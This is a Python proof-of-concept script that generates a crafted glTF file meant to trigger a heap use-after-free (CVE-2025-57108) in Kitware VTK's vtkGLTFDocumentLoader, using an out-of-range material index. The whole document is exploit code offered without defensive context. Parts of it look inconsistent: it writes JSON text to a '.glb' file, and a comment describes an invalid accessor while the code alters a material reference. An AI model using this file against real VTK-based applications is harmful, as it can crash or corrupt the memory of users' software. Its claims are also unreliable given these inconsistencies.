#!/usr/bin/env python3
"""
CVE-2025-57108 PoC - Malicious GLTF file generator
Kitware VTK vtkGLTFDocumentLoader Heap Use-After-Free
"""
import json
import struct
import os
def create_malicious_gltf():
"""
Generate a malicious GLTF file that triggers use-after-free
in vtkGLTFDocumentLoader during mesh copy operations.
"""
# Malicious GLTF content with invalid mesh references
gltf_data = {
"asset": {"version": "2.0"},
"scene": 0,
"scenes": [{"nodes": [0]}],
"nodes": [{"mesh": 0}],
"meshes": [{
"name": "malicious_mesh",
"primitives": [
{
"attributes": {
"POSITION": 0},
"indices": 1,
# Invalid accessor reference triggers vulnerability
"material": 999999999 # Invalid reference
}
]
}],
"accessors": [
{
"bufferView": 0,
"componentType": 5126,
"count": 3,
"type": "VEC3",
"max": [1.0, 1.0, 1.0],
"min": [-1.0, -1.0, -1.0]
},
{
"bufferView": 1,
"componentType": 5123,
"count": 6,
"type": "SCALAR"
}
],
"bufferViews": [
{"buffer": 0, "byteOffset": 0, "byteLength": 36},
{"buffer": 0, "byteOffset": 36, "byteLength": 12}
],
"buffers": [
{"byteLength": 48, "uri": "data:application/octet-stream;base64,AAAAAAAAAAAAAAAAAAAAACAAAAAAACAAAAAAACAAAAAAACAAAAAAACAAAAAAACAAAAA=="}
]
}
# Write malicious GLTF file
output_path = "malicious_cube.glb"
with open(output_path, 'w') as f:
json.dump(gltf_data, f)
print(f"[+] Created malicious GLTF file: {output_path}")
print(f"[+] File triggers use-after-free in vtkGLTFDocumentLoader")
return output_path
if __name__ == "__main__":
create_malicious_gltf()